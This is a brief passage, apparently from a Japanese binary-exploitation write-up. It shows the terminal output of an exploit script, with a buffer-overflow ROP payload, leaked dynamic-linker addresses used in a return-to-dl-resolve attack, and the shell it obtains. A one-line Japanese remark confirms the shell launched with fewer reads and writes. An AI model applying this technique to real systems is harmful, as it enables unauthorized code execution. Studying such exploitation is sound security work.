$ python exploit2.py 100 [+] read: 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x10\x83\x04\x08\xcd\x84\x04\x08\x00\x00\x00\x00\x08\xa8\x04\x08\xe8\x03\x00\x00\xcf\x84\x04\x08\x08\xa8\x04\x08\x01\x84\x04\x08' [+] addr_r_debug = b7733904 [+] addr_link_map, addr_link_map_lib = b7733918, b7711858 [+] addr_lib_dynamic = b7702d7c [+] addr_lib_gotplt, addr_dl_resolve = b7702ff4, b77266a0 $ id uid=1000(user) gid=1000(user) groups=1000(user) $
より少ない読み書き回数で、シェルが起動できていることが確認できた。